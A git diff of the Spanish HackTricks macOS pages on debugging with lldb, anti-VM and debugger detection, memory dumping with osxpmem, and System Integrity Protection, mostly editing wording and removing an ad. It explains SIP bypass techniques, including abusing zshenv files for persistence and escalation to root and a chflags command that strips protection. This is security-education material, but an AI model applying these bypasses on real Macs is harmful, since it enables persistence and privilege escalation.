| **6to argumento** | **r9** | **4to argumento al método** |
|
||||
| **7mo+ argumento** | <p><strong>rsp+</strong><br><strong>(en la pila)</strong></p> | **5to+ argumento al método** |
|
||||
|
||||
### Volcar metadatos de ObjectiveC
|
||||
|
||||
|
@ -410,11 +397,11 @@ Or `tailspin`.
|
|||
|
||||
### kperf
|
||||
|
||||
Esto se utiliza para hacer un perfilado a nivel de kernel y está construido utilizando llamadas de `Kdebug`.
|
||||
Esto se utiliza para hacer un perfil a nivel de kernel y está construido utilizando llamadas `Kdebug`.
|
||||
|
||||
Básicamente, se verifica la variable global `kernel_debug_active` y si está configurada, llama a `kperf_kdebug_handler` con el código de `Kdebug` y la dirección del marco del kernel que llama. Si el código de `Kdebug` coincide con uno seleccionado, obtiene las "acciones" configuradas como un bitmap (consulta `osfmk/kperf/action.h` para las opciones).
|
||||
Básicamente, se verifica la variable global `kernel_debug_active` y si está configurada, llama a `kperf_kdebug_handler` con el código `Kdebug` y la dirección del marco del kernel que llama. Si el código `Kdebug` coincide con uno seleccionado, obtiene las "acciones" configuradas como un bitmap (consulta `osfmk/kperf/action.h` para las opciones).
|
||||
|
||||
Kperf también tiene una tabla MIB de sysctl: (como root) `sysctl kperf`. Este código se puede encontrar en `osfmk/kperf/kperfbsd.c`.
|
||||
Kperf también tiene una tabla MIB de sysctl: (como root) `sysctl kperf`. Estos códigos se pueden encontrar en `osfmk/kperf/kperfbsd.c`.
|
||||
|
||||
Además, un subconjunto de la funcionalidad de Kperf reside en `kpc`, que proporciona información sobre los contadores de rendimiento de la máquina.
|
||||
|
||||
|
@ -476,7 +463,7 @@ settings set target.x86-disassembly-flavor intel
|
|||
Dentro de lldb, volcar un proceso con `process save-core`
|
||||
{% endhint %}
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descripción</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso termine.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Iniciar la ejecución deteniéndose en el punto de entrada</td></tr><tr><td><strong>continue (c)</strong></td><td>Continuar la ejecución del proceso depurado.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones.</td></tr><tr><td><strong>finish (f)</strong></td><td>Ejecutar el resto de las instrucciones en la función actual (“frame”) y detenerse.</td></tr><tr><td><strong>control + c</strong></td><td>Pausar la ejecución. Si el proceso ha sido ejecutado (r) o continuado (c), esto hará que el proceso se detenga ...donde sea que esté ejecutándose actualmente.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Cualquier función llamada main</p><p><code>b <binname>`main</code> #Función principal del bin</p><p><code>b set -n main --shlib <lib_name></code> #Función principal del bin indicado</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Cualquier método de NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Romper en todas las funciones de esa biblioteca</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Lista de puntos de interrupción</p><p><code>br e/dis <num></code> #Habilitar/Deshabilitar punto de interrupción</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obtener ayuda del comando breakpoint</p><p>help memory write #Obtener ayuda para escribir en la memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/dirección de memoria></strong></td><td>Mostrar la memoria como una cadena terminada en nulo.</td></tr><tr><td><strong>x/i <reg/dirección de memoria></strong></td><td>Mostrar la memoria como instrucción de ensamblador.</td></tr><tr><td><strong>x/b <reg/dirección de memoria></strong></td><td>Mostrar la memoria como byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Esto imprimirá el objeto referenciado por el parámetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota que la mayoría de las APIs o métodos de Objective-C de Apple devuelven objetos, y por lo tanto deben ser mostrados a través del comando “print object” (po). Si po no produce una salida significativa, usa <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección<br>memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Desensamblar función actual</p><p>dis -n <funcname> #Desensamblar función</p><p>dis -n <funcname> -b <basename> #Desensamblar función<br>dis -c 6 #Desensamblar 6 líneas<br>dis -c 0x100003764 -e 0x100003768 # Desde una dirección hasta la otra<br>dis -p -c 4 # Comenzar en la dirección actual desensamblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Verificar array de 3 componentes en el registro x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Imprimir mapa de la memoria del proceso actual</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Obtener la dirección de todos los símbolos de CoreNLP</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descripción</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso termine.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Iniciar la ejecución deteniéndose en el punto de entrada</td></tr><tr><td><strong>continue (c)</strong></td><td>Continuar la ejecución del proceso depurado.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones.</td></tr><tr><td><strong>finish (f)</strong></td><td>Ejecutar el resto de las instrucciones en la función actual (“frame”) y detenerse.</td></tr><tr><td><strong>control + c</strong></td><td>Pausar la ejecución. Si el proceso ha sido ejecutado (r) o continuado (c), esto hará que el proceso se detenga ...donde sea que esté ejecutándose actualmente.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Cualquier función llamada main</p><p><code>b <binname>`main</code> #Función principal del bin</p><p><code>b set -n main --shlib <lib_name></code> #Función principal del bin indicado</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Cualquier método de NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Interrumpir en todas las funciones de esa biblioteca</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Lista de puntos de interrupción</p><p><code>br e/dis <num></code> #Habilitar/Deshabilitar punto de interrupción</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obtener ayuda sobre el comando de punto de interrupción</p><p>help memory write #Obtener ayuda para escribir en la memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/dirección de memoria></strong></td><td>Mostrar la memoria como una cadena terminada en nulo.</td></tr><tr><td><strong>x/i <reg/dirección de memoria></strong></td><td>Mostrar la memoria como instrucción de ensamblador.</td></tr><tr><td><strong>x/b <reg/dirección de memoria></strong></td><td>Mostrar la memoria como byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Esto imprimirá el objeto referenciado por el parámetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota que la mayoría de las APIs o métodos de Objective-C de Apple devuelven objetos, y por lo tanto deben ser mostrados a través del comando “print object” (po). Si po no produce una salida significativa, usa <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección<br>memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Desensamblar la función actual</p><p>dis -n <funcname> #Desensamblar función</p><p>dis -n <funcname> -b <basename> #Desensamblar función<br>dis -c 6 #Desensamblar 6 líneas<br>dis -c 0x100003764 -e 0x100003768 # Desde una dirección hasta la otra<br>dis -p -c 4 # Comenzar en la dirección actual desensamblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Verificar array de 3 componentes en el registro x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Imprimir el mapa de la memoria del proceso actual</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Obtener la dirección de todos los símbolos de CoreNLP</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
Al llamar a la función **`objc_sendMsg`**, el registro **rsi** contiene el **nombre del método** como una cadena terminada en nulo (“C”). Para imprimir el nombre a través de lldb haz:
|
||||
|
@ -489,12 +476,12 @@ Al llamar a la función **`objc_sendMsg`**, el registro **rsi** contiene el **no
|
|||
`(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
{% endhint %}
|
||||
|
||||
### Análisis Dinámico Anti
|
||||
### Análisis Anti-Dinámico
|
||||
|
||||
#### Detección de VM
|
||||
|
||||
* El comando **`sysctl hw.model`** devuelve "Mac" cuando el **host es un MacOS** pero algo diferente cuando es una VM.
|
||||
* Jugando con los valores de **`hw.logicalcpu`** y **`hw.physicalcpu`** algunos malwares intentan detectar si es una VM.
|
||||
* Jugando con los valores de **`hw.logicalcpu`** y **`hw.physicalcpu`**, algunos malwares intentan detectar si es una VM.
|
||||
* Algunos malwares también pueden **detectar** si la máquina está basada en **VMware** según la dirección MAC (00:50:56).
|
||||
* También es posible encontrar **si un proceso está siendo depurado** con un código simple como:
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proceso siendo depurado }`
|
||||
|
@ -587,7 +574,7 @@ Funciona para herramientas de línea de comandos
|
|||
|
||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||
|
||||
Simplemente "**funciona"** con herramientas GUI de macOS. Ten en cuenta que algunas aplicaciones de macOS tienen requisitos específicos como nombres de archivos únicos, la extensión correcta, necesitan leer los archivos desde el sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
Simplemente "**funciona"** con herramientas GUI de macOS. Tenga en cuenta que algunas aplicaciones de macOS tienen requisitos específicos, como nombres de archivos únicos, la extensión correcta, necesitan leer los archivos desde el sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
|
||||
Algunos ejemplos:
|
||||
|
||||
|
@ -631,18 +618,6 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
* [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -653,7 +628,7 @@ Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png"
|
|||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**repositorios de HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,44 @@
|
|||
# Volcado de memoria de macOS
|
||||
# macOS Memory Dumping
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Memory Artifacts
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**.
|
||||
### Swap Files
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información.
|
||||
Los archivos de intercambio, como `/private/var/vm/swapfile0`, sirven como **cachés cuando la memoria física está llena**. Cuando no hay más espacio en la memoria física, sus datos se transfieren a un archivo de intercambio y luego se traen de vuelta a la memoria física según sea necesario. Pueden estar presentes múltiples archivos de intercambio, con nombres como swapfile0, swapfile1, y así sucesivamente.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
### Hibernate Image
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
El archivo ubicado en `/private/var/vm/sleepimage` es crucial durante el **modo de hibernación**. **Los datos de la memoria se almacenan en este archivo cuando OS X hiberna**. Al despertar la computadora, el sistema recupera los datos de la memoria de este archivo, permitiendo al usuario continuar donde lo dejó.
|
||||
|
||||
***
|
||||
Vale la pena señalar que en los sistemas MacOS modernos, este archivo generalmente está cifrado por razones de seguridad, lo que dificulta la recuperación.
|
||||
|
||||
## Artefactos de memoria
|
||||
* Para verificar si el cifrado está habilitado para el sleepimage, se puede ejecutar el comando `sysctl vm.swapusage`. Esto mostrará si el archivo está cifrado.
|
||||
|
||||
### Archivos de intercambio
|
||||
### Memory Pressure Logs
|
||||
|
||||
Los archivos de intercambio, como `/private/var/vm/swapfile0`, sirven como **cachés cuando la memoria física está llena**. Cuando ya no hay espacio en la memoria física, sus datos se transfieren a un archivo de intercambio y luego se devuelven a la memoria física según sea necesario. Pueden estar presentes varios archivos de intercambio, con nombres como swapfile0, swapfile1, y así sucesivamente.
|
||||
Otro archivo importante relacionado con la memoria en los sistemas MacOS es el **registro de presión de memoria**. Estos registros se encuentran en `/var/log` y contienen información detallada sobre el uso de memoria del sistema y eventos de presión. Pueden ser particularmente útiles para diagnosticar problemas relacionados con la memoria o entender cómo el sistema gestiona la memoria a lo largo del tiempo.
|
||||
|
||||
### Imagen de hibernación
|
||||
|
||||
El archivo ubicado en `/private/var/vm/sleepimage` es crucial durante el **modo de hibernación**. **Los datos de la memoria se almacenan en este archivo cuando macOS hiberna**. Al despertar la computadora, el sistema recupera los datos de la memoria de este archivo, permitiendo al usuario continuar donde lo dejó.
|
||||
|
||||
Cabe destacar que en los sistemas MacOS modernos, este archivo suele estar encriptado por razones de seguridad, lo que dificulta la recuperación.
|
||||
|
||||
* Para verificar si la encriptación está habilitada para sleepimage, se puede ejecutar el comando `sysctl vm.swapusage`. Esto mostrará si el archivo está encriptado.
|
||||
|
||||
### Registros de presión de memoria
|
||||
|
||||
Otro archivo importante relacionado con la memoria en los sistemas MacOS son los **registros de presión de memoria**. Estos registros se encuentran en `/var/log` y contienen información detallada sobre el uso de memoria del sistema y eventos de presión. Pueden ser particularmente útiles para diagnosticar problemas relacionados con la memoria o comprender cómo el sistema gestiona la memoria con el tiempo.
|
||||
|
||||
## Volcado de memoria con osxpmem
|
||||
## Dumping memory with osxpmem
|
||||
|
||||
Para volcar la memoria en una máquina MacOS, puedes usar [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
|
||||
|
||||
**Nota**: Las siguientes instrucciones solo funcionarán para Macs con arquitectura Intel. Esta herramienta está archivada y la última versión fue en 2017. El binario descargado utilizando las instrucciones a continuación apunta a chips Intel ya que Apple Silicon no existía en 2017. Puede ser posible compilar el binario para arquitectura arm64, pero tendrás que intentarlo por ti mismo.
|
||||
**Nota**: Las siguientes instrucciones solo funcionarán para Macs con arquitectura Intel. Esta herramienta ahora está archivada y la última versión fue en 2017. El binario descargado utilizando las instrucciones a continuación está dirigido a chips Intel, ya que Apple Silicon no existía en 2017. Puede ser posible compilar el binario para arquitectura arm64, pero tendrás que intentarlo por tu cuenta.
|
||||
```bash
|
||||
#Dump raw format
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
|
@ -66,9 +53,9 @@ sudo kextutil "/tmp/MacPmem.kext"
|
|||
#Allow the kext in "Security & Privacy --> General"
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
```
|
||||
**Otros errores** podrían ser solucionados permitiendo la carga del kexto en "Seguridad y privacidad --> General", simplemente **permítelo**.
|
||||
**Otros errores** pueden ser solucionados **permitiendo la carga del kext** en "Seguridad y Privacidad --> General", simplemente **permítelo**.
|
||||
|
||||
También puedes usar este **oneliner** para descargar la aplicación, cargar el kexto y volcar la memoria:
|
||||
También puedes usar esta **línea única** para descargar la aplicación, cargar el kext y volcar la memoria:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -77,17 +64,6 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda impulsado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares ladrones**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -99,7 +75,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal en WhiteIntel es combatir la toma de control de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **Información Básica**
|
||||
|
||||
|
@ -38,7 +25,7 @@ Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita**
|
|||
* **/sbin**
|
||||
* **/usr**
|
||||
|
||||
Las reglas que rigen el comportamiento de SIP se definen en el archivo de configuración ubicado en **`/System/Library/Sandbox/rootless.conf`**. Dentro de este archivo, las rutas que están precedidas por un asterisco (\*) se denotan como excepciones a las estrictas restricciones de SIP.
|
||||
Las reglas que rigen el comportamiento de SIP se definen en el archivo de configuración ubicado en **`/System/Library/Sandbox/rootless.conf`**. Dentro de este archivo, las rutas que están precedidas por un asterisco (\*) se denotan como excepciones a las estrictas restricciones de SIP.
|
||||
|
||||
Considera el siguiente ejemplo:
|
||||
```javascript
|
||||
|
@ -54,7 +41,7 @@ Para verificar si un directorio o archivo está protegido por SIP, puedes usar e
|
|||
ls -lOd /usr/libexec/cups
|
||||
drwxr-xr-x 11 root wheel sunlnk 352 May 13 00:29 /usr/libexec/cups
|
||||
```
|
||||
En este caso, el **`sunlnk`** flag significa que el directorio `/usr/libexec/cups` **no puede ser eliminado**, aunque los archivos dentro de él pueden ser creados, modificados o eliminados.
|
||||
En este caso, el **`sunlnk`** flag significa que el directorio `/usr/libexec/cups` **no puede ser eliminado**, aunque se pueden crear, modificar o eliminar archivos dentro de él.
|
||||
|
||||
Por otro lado:
|
||||
```bash
|
||||
|
@ -63,14 +50,14 @@ drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
|||
```
|
||||
Aquí, la **`restricted`** flag indica que el directorio `/usr/libexec` está protegido por SIP. En un directorio protegido por SIP, no se pueden crear, modificar o eliminar archivos.
|
||||
|
||||
Además, si un archivo contiene el atributo **`com.apple.rootless`** atributo **extendido**, ese archivo también estará **protegido por SIP**.
|
||||
Además, si un archivo contiene el atributo **`com.apple.rootless`** atributo extendido, ese archivo también estará **protegido por SIP**.
|
||||
|
||||
**SIP también limita otras acciones de root** como:
|
||||
|
||||
* Cargar extensiones de kernel no confiables
|
||||
* Obtener puertos de tarea para procesos firmados por Apple
|
||||
* Modificar variables de NVRAM
|
||||
* Permitir depuración del kernel
|
||||
* Permitir la depuración del kernel
|
||||
|
||||
Las opciones se mantienen en la variable nvram como un bitflag (`csr-active-config` en Intel y `lp-sip0` se lee del Device Tree arrancado para ARM). Puedes encontrar las flags en el código fuente de XNU en `csr.sh`:
|
||||
|
||||
|
@ -98,7 +85,7 @@ csrutil enable --without debug
|
|||
|
||||
[**Aprende más sobre la información de SIP en esta charla**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**.**
|
||||
|
||||
## Bypasses de SIP
|
||||
## Bypass de SIP
|
||||
|
||||
Eludir SIP permite a un atacante:
|
||||
|
||||
|
@ -113,7 +100,7 @@ Eludir SIP permite a un atacante:
|
|||
|
||||
### Archivo SIP Inexistente
|
||||
|
||||
Una posible laguna es que si un archivo está especificado en **`rootless.conf` pero no existe actualmente**, puede ser creado. El malware podría explotar esto para **establecer persistencia** en el sistema. Por ejemplo, un programa malicioso podría crear un archivo .plist en `/System/Library/LaunchDaemons` si está listado en `rootless.conf` pero no presente.
|
||||
Una posible laguna es que si un archivo está especificado en **`rootless.conf` pero no existe actualmente**, se puede crear. El malware podría explotar esto para **establecer persistencia** en el sistema. Por ejemplo, un programa malicioso podría crear un archivo .plist en `/System/Library/LaunchDaemons` si está listado en `rootless.conf` pero no presente.
|
||||
|
||||
### com.apple.rootless.install.heritable
|
||||
|
||||
|
@ -137,7 +124,7 @@ El demonio **`system_installd`** instalará paquetes que han sido firmados por *
|
|||
|
||||
Los investigadores encontraron que durante la instalación de un paquete firmado por Apple (archivo .pkg), **`system_installd`** **ejecuta** cualquier **script post-instalación** incluido en el paquete. Estos scripts son ejecutados por el shell predeterminado, **`zsh`**, que automáticamente **ejecuta** comandos del archivo **`/etc/zshenv`**, si existe, incluso en modo no interactivo. Este comportamiento podría ser explotado por atacantes: al crear un archivo malicioso `/etc/zshenv` y esperar a que **`system_installd` invoque `zsh`**, podrían realizar operaciones arbitrarias en el dispositivo.
|
||||
|
||||
Además, se descubrió que **`/etc/zshenv` podría ser utilizado como una técnica de ataque general**, no solo para un bypass de SIP. Cada perfil de usuario tiene un archivo `~/.zshenv`, que se comporta de la misma manera que `/etc/zshenv` pero no requiere permisos de root. Este archivo podría ser utilizado como un mecanismo de persistencia, activándose cada vez que se inicia `zsh`, o como un mecanismo de elevación de privilegios. Si un usuario administrador se eleva a root usando `sudo -s` o `sudo <comando>`, el archivo `~/.zshenv` se activaría, elevando efectivamente a root.
|
||||
Además, se descubrió que **`/etc/zshenv` podría ser utilizado como una técnica de ataque general**, no solo para un bypass de SIP. Cada perfil de usuario tiene un archivo `~/.zshenv`, que se comporta de la misma manera que `/etc/zshenv` pero no requiere permisos de root. Este archivo podría ser utilizado como un mecanismo de persistencia, activándose cada vez que se inicia `zsh`, o como un mecanismo de elevación de privilegios. Si un usuario administrador se eleva a root usando `sudo -s` o `sudo <comando>`, el archivo `~/.zshenv` se activaría, elevándose efectivamente a root.
|
||||
|
||||
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
|
||||
|
||||
|
@ -187,7 +174,7 @@ Como [**se detalla en esta publicación del blog**](https://blog.kandji.io/apple
|
|||
```bash
|
||||
/usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg"
|
||||
```
|
||||
